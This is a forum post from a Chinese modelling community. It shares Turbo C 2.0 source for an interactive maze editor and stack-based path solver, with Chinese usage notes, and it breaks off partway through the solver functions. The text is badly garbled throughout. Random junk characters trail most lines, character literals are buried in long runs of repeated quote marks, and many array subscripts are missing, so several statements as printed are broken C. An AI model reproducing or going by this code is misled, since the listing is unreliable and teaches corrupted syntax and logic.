数学建模社区-数学中国

标题: C语言技术文章 [打印本页]

作者: 韩冰    时间: 2004-10-4 02:34
标题: C语言技术文章
<DIV  align=left>
1 k, z) ?2 _- d: F4 l! X$ }< align=left>程序目的:; Y5 [# u, J- d- R5 G
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并1 u; Z/ c  o4 v% A
显示在屏幕上。
6 ~7 {) _2 e$ o; d  y/ u1 `3 j程序实现:$ Z5 B1 H  a! `
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
5 {  o$ E& t- S9 m& F文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
2 e7 g1 G2 H# d9 E) ~" n入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
- t! U* m- v: j: j时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
5 X6 s- h2 r0 V6 T否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
7 t' j* [% W. a/ [( F用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
/ ~2 q- y0 U6 p. S9 L将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,9 n6 H: r, y- ~: H& L& I
找到路径时,屏幕下方会出现Path found,否则出现Path not found。; c1 B3 x- E" n8 o  a( ]
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
& A! p+ S8 O6 C不可以在VC上编译。. Z2 n# G% Q6 Q" [" B0 M$ [2 `  W
下载DOS版和windows版的迷宫游戏全部代码
% s+ d! N( r# _3 ^0 ]( |用户名:migong
8 H6 @$ X# n. ?3 l----------------------------------------------------------------------------------9 |4 P3 {  A; A+ q! [$ d
/*; _" b1 D$ ^, q5 ~% h
MazePath Demo BY Turbo C 2.0
. d* X% r/ p& q6 _, z- @; D5 ~8 A; FCopyright(c) RoverUnion. All right reserved.3 [+ K2 i) E; U' [
Filename: Maze.c
* R- u  C9 {: M0 qAuthor Dongchengyu.6 f( l9 m. S3 w3 x( L; N- O" S* ]
Ver 1.10
6 h8 O6 h6 i: z. G8 f*/' A' w: ^% S% w9 E# x5 V2 Y
#include &lt;stdio.h&gt;
) e; G9 P: d: H* k7 d5 i#include &lt;stdlib.h&gt;
, j7 i3 I" x; n- _& Z% S! A#include &lt;malloc.h&gt;
8 R$ Q5 `) T$ I+ K- P#include &lt;conio.h&gt;4 ^2 L/ k* y" C5 }2 Z, D( E
#include &lt;dos.h&gt;+ G  G9 x1 ~% q$ m
#define OK 1/ b) K6 o. B4 F
#define ERROR 0
  ?- O, ~0 b% R+ I#define TRUE 1
- J. C( ?" D6 l7 p#define FALSE 0+ ^' L1 }. l$ H8 N$ X6 W* H! I
#define F9 0x43+ @+ P) W3 F3 a9 h
#define Esc 0x1b7 G1 A- U' c2 t1 u6 R, M0 d
#define Del 0x53
  c2 V7 R. j+ M7 T: `#define Home 0x47( H8 P& y, b5 j& E, @
#define End 0x4f
9 G& X3 j. q# j#define Space 0x20
4 i! g9 ?" Y9 D+ m3 w% \5 Z#define Up 0x48
4 V6 S& `: E# S7 T$ r#define Down 0x500 o# \# @' u3 P: z' ~7 j: `
#define Left 0x4b5 _& V  f" \2 w" _6 u
#define Right 0x4d
& b0 z% A3 u/ s1 R) X5 J2 s#define Enter 0x0d
% R; `+ c& y  ~/ I) v6 p#define F2 0x3c/ u. b! l" _8 I. ?  D8 j3 w' w! `
#define F3 0x3d' I+ I# }9 n6 v+ P$ i
#define STACK_INIT_SIZE 200- o5 s5 s0 H7 L4 R
#define STACKINCREMENT 108 x! |, i! ^, o0 g+ z
typedef int Boolean;
& T4 t# n/ V% M! A2 b2 c2 Rtypedef int Status;2 M: ^5 v4 d( n. f) y6 e7 x- D! J
typedef struct {. t- v- ^  J1 C. x
int x;
0 X4 {2 u% _, u1 i$ {( p+ b9 dint y;$ I4 N. @; K/ n8 |
} PosType;
2 \2 ?$ p* w8 B+ o. w1 vtypedef struct {! f" w7 e7 G% T' ]- a) r
int ord;; t3 j% |! m+ T& E
PosType seat;
8 S+ a- v" }) mint di;( [5 r& q, x" q6 P
} SElemType;
( s8 p, e3 O- X: K! @$ Ctypedef struct {8 r( j* u. o3 R7 d+ {* p+ C
int td;* m  N; y2 _2 Q1 j0 _( T7 R4 }( M
int foot;4 g! a$ E4 H; r& @+ g, R
int mark;6 C( L9 q9 K7 B- ~- |0 F6 i! g
} MazeType;
4 c8 _. P# H5 F1 ~6 [+ E: ?typedef struct {- `1 n+ I" O: i; G4 R) Z
SElemType *base;* X' z- O' A! m. H1 n* O
SElemType *top;
. u: Z7 _8 a. A" Zint stacksize;
4 S) I4 s% O* F( S. K$ `! |+ T} Stack;5 V7 s8 w" `% L; Q2 u. @- E
int Maze[20][30];+ l- }$ S' I/ z; X' I
MazeType maze[20][30];
9 d' @5 @% Z+ ^, m  `PosType StartPlace;
5 Y% i! [, [& @3 gPosType EndPlace;) L+ v7 U& Y7 B/ c3 Z
int count;0 B4 }1 z+ G) R1 ?
int m,n;
2 B5 d% h, D/ j0 hBoolean b_start=FALSE,b_end=FALSE;
" ~8 x+ P7 F# g2 F9 X  Lvoid CreatMaze(void);
1 p: J  g' a% z& W" uStatus SaveMaze(char *filename);
* |4 L# }, m- e; U, |Status LoadMaze(char *filename);
: n$ @9 r- n  Z2 L0 _1 P8 Hvoid Error(char *message);; [2 |( a2 e' v7 T# p( q/ d' p
Status InitStack(Stack *s);$ h7 V/ w  h% n8 j
Status DestroyStack(Stack *s);
/ X5 x  {% ^. RStatus ClearStack(Stack *s);
( O; y: s0 H! ^7 f3 q5 TBoolean StackEmpty(Stack *s);
# @) c* m* L5 b3 `int StackLength(Stack *s);
+ u" J/ k) `3 N# Y: c3 A, t$ AStatus Push(Stack *s,SElemType e);
! F+ E( X8 A5 CSElemType Pop(Stack *s,SElemType e);
2 g+ }* ~* V3 w6 S8 a& e# aStatus GetTop(Stack *s,SElemType *e);
: t) Y- f$ ^; AStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));
4 [. S+ w# G) C. P& PBoolean Pass(PosType curpos);. a+ c" @' j! h+ t7 {
void MarkPrint(PosType seat);
* f. t: w6 `2 {9 H. B3 Hvoid FootPrint(PosType curpos);
) l9 c+ a2 A, w' ]  }PosType NextPos(PosType seat,int di);7 j9 W$ a- s3 i% O( P
Status MazePath(PosType start,PosType end);
" [* x) D( r$ o- ?% ~void CreatMaze(void)2 k3 K0 w) Z7 L
/* Form the maze. */
7 F! h. f$ S2 S0 b{
  ?% S" h3 Q( J7 [/ i  bvoid Error(char *message);" B$ j1 D) s: Q
Status SaveMaze(char *filename);; e. g1 Y/ G7 V/ p1 F
Status LoadMaze(char *filename);' [" L0 U" ]/ s/ p
int i,j;8 i% |  }+ d+ {1 `2 t6 w! p3 r1 r
int x,y;3 q$ B5 [) s  Q, m$ z9 W4 m9 o" u
char c;
4 z: D6 ~2 e; H0 Q( }% pchar savename[12],loadname[12];8 T' n$ g' d8 A, l. B. G  L3 Z
Boolean flag=FALSE,load=FALSE;
2 ~) K% Q( R% h1 A; {$ zclrscr();, W2 A6 J9 B% k- e3 r
printf("Menu:\n\n");
5 k; S; D& R  X1 Eprintf("1.Load Mazefile*.dd)\n\n");
7 _# R4 c8 I4 {  ~; v3 A% b& yprintf("2.Input Maze:\n\n");& T: j3 _- G# q- Q2 k; ]
printf("Input your choice: ");
  R: g3 I' g2 m  y! V2 p' L: zdo
  |9 Z. D  f- O7 I* I{
* u) L' u, O  z9 ec=getch();6 M6 ?$ o/ n7 h: T! L0 X
switch(c)
( v7 Q! Q! A( ^9 E, F6 T{
$ Y9 M7 H8 P0 R% ocase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;" w% h- ]& V" K6 V
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
, J- d; J' T% ?" S9 H0 \% a6 N' Dcase Esc: sleep(1); exit(1);& U: s  @2 O: A' i% T) z
default: break;
( t9 k' C: ^7 e9 ]5 C& X/ \+ U}
; a2 K, f0 j$ _# F$ t}
# h1 [4 a" o* Q* D$ s, Ywhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;* |- c+ L) k* h8 B# u2 C
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
# a( T, W9 N4 D9 K5 X* c; T{
3 x/ [" S+ k2 c, t/ N3 c, fprintf("\n\nLoadName: ");
. n" p; m5 V5 a, Cscanf("%s",loadname);
5 [, d7 g$ d( _. \0 c( ^9 h. O' uif(LoadMaze(loadname))
* `3 Z+ |; Q! o% p" Y8 z$ f{1 T  J) z! s( P  z" `: k9 @
sleep(1); load=TRUE;/ g1 w$ M' f# b. Y7 x1 ~2 T# |; v
}3 c" W6 I& ?; x" L7 [) n) Z
else { gotoxy(1,9); printf("Load fail! "); }
) T7 {% y% W) G) w7 l- b' D4 h}' {/ _- o+ `! }7 x+ h# t, ~6 I
if(!load)
2 M& Y* o4 V4 d) r- M+ \{7 O# U  @6 N) V& ]" N
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
4 w+ y1 a" E, |' j( I5 d( Tprintf("\nInput Length :\n");
2 y8 t- c* B6 [; }scanf("%d",&amp;m);
' }6 G6 V; T& O. q6 c. p& y, ~printf("\nInput Width :\n");
& g( T5 v0 W, }, Qscanf("%d",&amp;n);  z& u  v8 c! x8 B4 i
if(m&lt;4||n&lt;4) Error("Input");
# D3 X9 f7 Y! Y% Pif(m&gt;30||n&gt;20) Error("Maze too large");
# u: b2 ~" q2 P# y9 v; j9 xfor(i=0;i&lt;30;i++)
5 ^& |7 T) z3 z9 M- E- jfor(j=0;j&lt;20;j++)8 ]- S4 J# f, c- A' w6 U# g3 K
Maze[j]=2;. I- W& _8 x1 L+ i7 s. G5 P
StartPlace.x=0;
. f* W+ y4 s) o# ]StartPlace.y=0;
$ s* H8 p8 ~# C1 O! PEndPlace.x=0;
% U5 A9 M/ @: o* i. o' r. u2 s' S/ R0 WEndPlace.y=0;
/ R3 k+ t9 U: H/ Pclrscr();4 g9 O; x; G( z) y% h' a
printf("\n");
$ {& }, o" ?* D* xfor(i=1;i&lt;=n;i++)
/ ~; F5 Z( r8 V% G5 u! A{" h5 T; k, P% G& t# C
for(j=1;j&lt;=m;j++)6 u, _. N% h! |$ Y
{
) Q$ \3 H, R, v, Y2 t9 u8 tprintf(" #");
* m. K2 X- E" |8 d! m- J7 K1 IMaze[i-1][j-1]=0;3 e0 w9 p* U7 \& [3 t' e
}, t9 d* o5 L6 j+ C4 B& R4 D
printf("\n");4 l& S: N$ e0 Y
}* ~) I5 F4 z3 D) Y% Z4 K
}& `& e# D2 E+ P
gotoxy(65,5);( _6 L. X, u* G& N2 a4 z3 u% u
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");2 ?. n" }9 R" C4 x$ m& V* Q7 O9 l
gotoxy(65,7);
3 I  u) M( u- |6 ~printf("Start:Home");
! t  ?2 \7 F6 P1 Zgotoxy(65,9);8 n9 j  k5 {* u
printf("End:End");
( [/ C  f& F( _1 n7 d' egotoxy(65,11);/ t7 J+ T+ {4 B7 i3 G6 D8 g* q2 m
printf("Delete Wallel");8 b9 j& n2 m% r; G; }% s- t8 ~
gotoxy(65,13);* K- y5 f; ^* X, j' ?1 z
printf("Enter Wall:Enter");$ F  F( H& }) q: w1 m# g* `
gotoxy(65,15);) k: k/ B5 O& j: i- C
printf("Save Maze:F2");' y5 |) t# }$ T5 E( c' U  a5 R
gotoxy(65,17);
3 N) i) j0 O6 Oprintf("Complete:F9");
6 y# g! b2 b. O4 Y8 K5 S% rgotoxy(65,19);
: z$ V, n+ r( m6 }1 B9 ~$ ~printf("Exit:Esc");
/ V* M% D9 d- o' b6 tgotoxy(4,3);% R5 H/ w3 |4 u8 d, P2 z
x=4;y=3;, x& I; n  n6 {- Z2 ~6 P+ z
do2 P' J3 D  g+ g1 Q2 A- m. b* y
{
8 X" t3 R5 V' ?% }4 {" P4 h, rc=getch();  C- g9 n' x1 e' W( A* ?* Z
switch(c)
+ _+ N2 D' _/ C$ B, u1 W{, x/ `  ]1 K$ V) B" F
case Up: if(y&gt;3) { y--; gotoxy(x,y); }
' |7 G$ P% h0 K- ?break;
2 n% `( h4 E/ p4 {7 l3 H' G# J( pcase Down: if(y&lt;n) { y++; gotoxy(x,y); }
% [# ]6 S0 v7 W1 R9 H/ H4 H8 J+ ~break;
+ x1 s- a/ U% r& Hcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
& O) b+ Z; e6 B+ |. @; }6 b1 Z: ybreak;
: |# l  H9 y7 `9 {; F, J5 pcase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
" e6 o) u7 A! ~0 N( O5 m8 z: tbreak;
2 X1 Q$ a+ @6 T( j2 R. ~" `case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;& _/ ^' z; }! x! Y: \$ c  W2 s) A' d# \$ Z
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
7 H5 V  O( o/ E$ m' ]putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);1 v5 _1 _% ~- k; P
break;
* W# U7 G  B0 U% U3 W! A7 [) Fcase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;( l& q3 u8 s3 C- C5 ]0 I
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;$ t4 z9 T6 K1 A& M* V$ Y4 o- w0 Z3 a1 w. O
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);- Y/ {0 z. {  L4 q$ @
break;% N1 v4 f* J7 Y* E4 C9 \
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)) K2 a  V' ]2 ?4 R8 M
{0 a+ Q, R9 b' ^6 X9 ^! ]# r1 i
StartPlace.x=x/2-1;% O& |' {0 W5 `8 c# N+ A" O2 {
StartPlace.y=y-2;
' `2 y7 {- S. I* Tputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');. J" \/ g& j: \* W- y' j
gotoxy(x,y);) V, B" Z$ F4 J& p$ y9 F& J
b_start=TRUE;- P! h" n- r- y3 I- X9 s7 k( b
}$ W( a7 O$ D) l/ X$ V( }
break;
5 B3 Y7 R0 t- Y7 Wcase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
0 T# E3 o3 h- ?/ n{& X0 a3 k2 M7 @. _9 |4 e
EndPlace.x=x/2-1;0 K+ a* t( Z8 w3 V
EndPlace.y=y-2;
) L0 {, u/ G$ ]6 jputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');2 [3 {7 q2 O+ X3 Q% S
gotoxy(x,y);$ d! I, Y9 V+ ]3 A0 E$ @% z
b_end=TRUE;
+ s+ d. ]$ `& {) b* n) [, r}
) ?7 x1 J: c1 O" J$ e+ Qbreak;
1 I- m( R, l# F  d. Acase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);$ W7 c  z- v! b/ u# ~
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;" T$ }! H) s: @" c8 A
case F2: gotoxy(2,22);, F! `9 L. B& y8 u, p
printf("Savename:");* x+ F& ~* L5 U4 b
scanf("%s",savename);
5 a1 v! w" z+ sgotoxy(2,22);  }. u& j0 s7 M# e  R
if(SaveMaze(savename)) printf("Save OK! ");
  X$ {' F2 B& n3 W! J! u1 X! {else printf("Save fail! ");
+ M+ ?+ Y7 G! y! v0 k- J$ B' ksleep(1);
) U9 L2 y% }9 Z, J" l4 wgotoxy(2,22);
3 F) S8 [# i$ A3 [& v) X6 r) xprintf(" ");' H& y3 j4 r8 Z$ q( u9 m
gotoxy(x,y);5 y1 _" Y/ ]9 Q
break;5 S* ^/ q/ G6 E' o' y
default: break;5 q+ b; p. X( V; r, u9 o7 f
}
+ m7 r7 O# J/ J1 Z/ v& L3 m5 y) _}
, g4 x! ~# s, s1 p0 gwhile(!flag);
3 H( {, w+ g; p- Q- Xfor(i=0;i&lt;30;i++)
. G  q) L2 `$ j9 rfor(j=0;j&lt;20;j++)
; @7 r/ U$ R7 H{
0 B# p7 L- C6 n) m! zmaze[j].td=Maze[j];4 r0 r  y; m/ l9 z) T. y
maze[j].mark=0;5 d0 C" h6 Q7 ]. }, _( k8 W
maze[j].foot=0;- H1 @0 V7 |8 [, v% A# X
}# v6 E9 ^# g! y' j) n
}! Q! F9 F1 }% ]* v2 {; [
Status LoadMaze(char *file)
+ I. u: l6 @& S( M+ U) {/* The maze has been loaded. */
3 x* w- @$ r' _6 R{
* k- E+ a. O: Q( x) J- M1 F: O. @  y5 ]FILE *fp;
7 n% d/ }! p6 s" t, i; ochar *buffer;9 \# ?* V9 M4 p1 S# V$ T* @0 e
char ch;9 i9 |2 R; a0 V2 S! q) j4 V
int i=0,j,k;
& H0 Z0 n  d! Z- @  Q5 t3 pBoolean len=FALSE,wid=FALSE;
) w- e9 P- ?2 Y3 K) a/ ?% z# _if((fp=fopen(file,"r"))==NULL)
+ l7 \9 u7 n" K' r/ V& u0 Freturn ERROR;
" u/ c4 N& G$ r. y+ xbuffer=(char *)malloc(600*sizeof(char));
" w7 H  u7 W9 wch=fgetc(fp);
- c, k( Z# o$ L5 Twhile(ch!=EOF)* v. y, E. p" |9 i: O9 W# A% m
{- T, _8 F. z) S' n9 P
buffer=ch;
0 x/ Q2 m$ S1 Ui++;
2 z9 Z, D) _) mch=fgetc(fp);! A$ v4 B, ^% b
}
. O3 Y  k1 A) f' gm=30;n=20;
* o( A+ D7 S2 L. ~$ A: V. c5 Dfor(i=0;i&lt;600;i++)
3 W7 `, b* }. e; J8 f- @4 n{
, Q. n6 c, g# D! h" M" G- \( pj=i/30; k=i%30;
& [3 L9 [! `: T3 j9 nif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }3 x# T- ~/ Z9 z
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
* \  v8 |. t, q9 Y& w" k% qswitch(buffer)
% p1 H* Y! Q4 G5 J( v+ G. D& [+ N{
, h4 F! j( L$ {! f3 B  i7 z" [- ^* icase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;) {5 x  Y& f( q/ s8 N; E
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;! \' n; I* S2 U8 R7 J
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;$ h2 ]; i2 ~( k' i1 Q
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;/ S4 q! i# L' f$ \
StartPlace.x=k;1 w5 W( J6 d/ f3 R2 V
StartPlace.y=j;" q, a$ D) p$ z- v  @6 ^
b_start=TRUE;
' \) i, k% Q* w, b& l* }* [break;+ x' f7 ^( k' n$ G* v6 m+ b
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
; ^# h& S( w) ~( A- u$ g  MEndPlace.x=k;
! j9 y  u" w# S7 O  ^EndPlace.y=j;
1 j' v6 c+ s  Y1 ?b_end=TRUE;; P2 b& ~7 k4 z" W: l( Z
break;
! E2 z5 `& W# |! I4 `* x, }default : break;
( B: Y4 @7 ?8 M0 a3 T: @2 S}- k1 B9 L4 w+ V4 [1 V* V. j9 y
}
# f8 o! H1 o. H( ufclose(fp);- Z! r/ Y6 c. J7 k' Y
clrscr();& a5 ?! M- W- T. n! `* D
for(i=0;i&lt;30;i++)
/ m1 ?' U4 a+ F: {; q% Qfor(j=0;j&lt;20;j++)4 f4 }, J1 l& e. v0 I
{
7 d: B& C2 c1 X" r9 q6 s& L1 H: Ymaze[j].td=Maze[j];
! _( M5 N2 F( x# r1 p2 r- f% ^maze[j].foot=0;( g, N* K/ l0 k
maze[j].mark=0;
. l! n& Y' m1 ~. Y, aif(Maze[j]==0)+ J5 d  c3 G; N  z
{2 j$ ], ?. s1 p- `! A9 p: D
gotoxy(2*i+2,j+2);
" A, N+ w8 j3 q! Z1 gputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');9 b+ {5 |4 R) O9 S, E' B1 v
}
1 k( H* G; y9 \7 x7 P, ?/ f* b}
' b8 A9 P0 M  E2 Ugotoxy(2*StartPlace.x+2,StartPlace.y+2);
- A/ }, ~- b0 ^. H3 q7 m5 }putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');. Q2 I+ \3 @' O
gotoxy(2*EndPlace.x+2,EndPlace.y+2);6 i4 h# B$ @# [5 |+ k
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
; Z/ u8 ]  l, a  Y* Ereturn OK;
, F6 c8 I! r' x7 O. u  w}6 j3 s& L  |" L; `
Status SaveMaze(char *filename)$ U" f4 b4 p2 M5 n
/* The maze has been saved. */
8 @0 R8 I7 ~; Y' f{8 d# _7 F- G4 |. {/ L
FILE *fp;
3 f6 B* s' g0 W/ b0 @char *buffer;
# x8 \4 E7 d# u. K6 Sint i,j,k;7 N) T9 n% V5 A; }' ?
fp=fopen(filename,"wb");+ [0 {: x7 v1 S. K1 ^% t$ E: b
buffer=(char *)malloc(600*sizeof(char));
2 f' W- F1 \) x7 s7 S* Afor(i=0;i&lt;600;i++)
+ Y0 S/ i, @/ D8 L2 m$ }  n{: W7 `: T7 Q/ {
j=i/30; k=i%30;3 H% M* I5 F0 f
switch(Maze[j][k])
$ b0 G9 W, h9 t' s+ K{
! F. x: N) w9 a5 I7 Wcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
# t* g  K- u; C' ~case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;3 R8 M. U, ], L( j9 ^1 }2 d( I
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
$ a. k" R' z5 K  jdefault : Error("Write"); break;
, o! A+ i7 _5 k) q8 d& X3 J}. _* B& u  B8 _' P. C
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
  `. i+ ~& D- J% p3 m# i- Cif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
% D( I- g9 M5 ^# O! G$ b1 X}
, i( q* r, m+ x8 W- T% h" cfwrite(buffer,600,1,fp);
) o! r3 g1 N% a& x; R% J. h  I+ {free(buffer);# Q! V; T- v( C* N( d
fclose(fp);9 v6 `% Q) x2 N4 |1 s
return OK;
  A' j% L8 j! ]3 ?* J}8 g3 L$ I; `8 y- A" p- Q' _0 X
void Error(char *message)
- W' b. D. y& p( A# x{$ w* c7 p( a% K* M* D* g! Y/ K. _! R
clrscr();
0 o" t4 s' q3 |fprintf(stderr,"Error:%s\n",message);
8 k- D* ?1 _2 W+ n8 |exit(1);2 ~4 U! q* }6 o6 j& t
} /* Error */3 n% H2 v( X3 q! @, z7 e, U
# G' y8 B( p% ~  d9 H4 Y
Status InitStack(Stack *s)' l% B6 t9 T" ?4 B  A2 B/ h/ x
/* The stack s has been created and is initialized to be empty. */
5 K" J/ {1 l6 k& ?& }2 K; {! i{) N4 J  d" u" E, {; {; u
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
/ E( O+ x7 D- X- G4 oif(!s-&gt;base) Error("Overflow");
$ H& `, N$ E( r2 [3 c! i" C5 us-&gt;top=s-&gt;base;
, g- r+ q& P& q4 {! R) ps-&gt;stacksize=STACK_INIT_SIZE;
3 f! E9 m( y$ I/ j% {0 U0 qreturn OK;5 K  l3 j0 n5 {& B& v" L$ e
} /* InitStack */
4 y1 [" P% D# F7 l, e9 g' _$ lStatus DestroyStack(Stack *s)
; y# Q, i1 v8 W, P# u$ R; K/* The stack s has been destroyed. */
; ~& Q) F! o+ C/ u{
) W% j. f7 k8 t! ts-&gt;top=NULL;
: Q7 O. K2 ^; _7 Y/ ?% ^2 ?s-&gt;stacksize=0;
; M" I$ Q/ I1 ~- `) v. Z8 Ofree(s-&gt;base);
6 c0 x/ I3 C" r& n# A# Z6 B+ is-&gt;base=NULL;
3 B( a) V' u1 O/ N" V. H+ treturn OK;! _+ u; s: J5 e
} /* DestroyStack */
! \4 o. e+ E- l! Q% KStatus ClearStack(Stack *s)  ?8 I. \$ W& Y& g: s
/* The stack has been clear to be maximum. */
+ Q+ i" U2 k- [; B; W{! r7 f( ]" k# J7 f7 {8 l# C8 p
s-&gt;top=s-&gt;base;8 C- a+ B1 c  y) X( o+ Z6 q
s-&gt;stacksize=STACK_INIT_SIZE;
; u3 v; K% D, d; }; ]return OK;: A0 P8 G  q, |' k9 I) A% a
} /* ClearStack */
7 r2 \4 @  A. S' n& `& r' bBoolean StackEmpty(Stack *s)
9 ~& D7 N' x' N0 U/* Check if the stack s is empty. */" ?/ Q$ W, R9 D1 Y5 c: X0 R0 R
{
0 a0 K2 {: v% s* W! yif(s-&gt;top==s-&gt;base) return TRUE;, a5 K; @( P1 l6 E4 |  e2 \
else return FALSE;
: f+ D& s) a( Y3 O7 T% ~- L! D; @} /* StackEmpty */- v8 r0 O; O: a) y1 g' I" f
int StackLength(Stack *s)
" D: z! R$ e( V$ B) T/* Gain the length of the stack s. */9 ?: N7 E% Q% `
{
3 s. L& M8 D  ]# y  bif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
5 h% H$ k9 \2 J6 \else return 0;
+ H' N" ?% f- W' ~6 h- D, x} /* StackLength */: n1 F) e" e) \. L+ Y# a
Status Push(Stack *s,SElemType e)7 V0 v7 h) H" [" Z% \: I6 c
/* The element e has been pushed into the stack s. *// V* r& o# _8 d
{
! a  k, S+ x2 u0 [if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
& t2 m. e7 Z  P( ^{2 l( b9 s  E: l2 M* ]8 w8 m4 a2 J
s-&gt;base=(SElemType *)realloc(s-&gt;base,
5 t: x- T  B7 [% R(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
+ V7 p5 h  h. eif(!s-&gt;base) Error("Overflow");% T- d/ \+ H7 {! Q1 h
s-&gt;top=s-&gt;base+s-&gt;stacksize;
- [$ p6 ^1 f/ S& ^, N' j: Zs-&gt;stacksize+=STACKINCREMENT;7 s  D7 J& }5 h" I! T1 H
}
: t' i$ }) p: @: T. D3 y# Y) y& y*s-&gt;top++=e;
& D2 x' Y2 o+ [* q0 t$ t  t8 \1 Freturn OK;
/ S0 `2 k# r2 @# L5 z3 @9 H2 ~} /* Push */
6 u& T9 e! F1 \5 i$ oSElemType Pop(Stack *s,SElemType e)% m* p! A4 K3 F% n4 o
/* The element e has been removed from the stack s. */
' [) f8 D+ \- E{
4 W( |$ \" U2 Xif(s-&gt;top==s-&gt;base) Error("op");* Y* f" W; d2 i. \3 p
e=*--s-&gt;top;6 r& x0 F, Q1 J5 w' b" _
return e;% ]6 K) Q6 B; Q( q3 k
} /* Pop */
* z$ u" \/ r$ {Status GetTop(Stack *s,SElemType *e)' N8 M! F2 O2 ^! g
/* The element e has got to the top of the stack s.*/
% b1 p5 A( s- \! z. N& z# M9 z{5 H& `6 s% d4 s+ E5 D& w
if(s-&gt;top==s-&gt;base) Error("GetTop");
: J& k: y9 u5 I- e$ m*e=*(s-&gt;top-1);
2 s# v* D9 `) w8 G& B2 D2 J6 G  Mreturn OK;- A9 b% K. F$ P* L6 m; P1 W4 y
} /* GetTop */
' c9 X) S) T" r' y7 {/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */& z  o& j) j( g  o- z1 F2 _
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
6 P/ ~7 E' p% e: F{/ Q0 s; u& A' v
SElemType p;
; X/ n0 @/ B  y- w9 \int result;4 x; o8 h0 K. H: Z7 c3 Q5 {; Y; t- n
if(s-&gt;top==s-&gt;base) return ERROR;
% U* k9 Z7 b8 w. o5 ]- ^9 ip=s-&gt;base;
# b/ z4 A* X! o. ]6 Cwhile(!(p==s-&gt;top))
& J3 q1 R0 h6 I# m- w5 @# S{% T" y1 b3 m& E7 @' s& k! y
result=(*visit)(p);
3 C& M& ?5 B$ S6 ?p++;
- N! Y. o7 e7 \& c( `5 p}
. F1 i4 z; D/ A* \; D. d  creturn OK;
, K  q% H1 [6 D- N% o} */
3 M  H8 |% `: ]$ \/ F3 s7 GBoolean Pass(PosType curpos)
9 H' t/ a3 h* l- ^# k/* Check if the current position can be passed. */
- [6 A& g* r8 u% L9 N9 ?{5 z* b- `" B6 E5 u& K
if(maze[curpos.x][curpos.y].td==1&amp;&amp;
+ D2 N* t& g- [5 K/ \. F1 r) W* [maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)- O. |8 P' q$ _7 d
return TRUE;" b3 V! Z6 Y! W5 V4 X" b' E$ l
else return FALSE;8 z" T0 j9 e. Q' r5 K
} /* Pass */
( L* T5 s$ b: w9 H0 Z1 Y& h4 ]void MarkPrint(PosType seat)
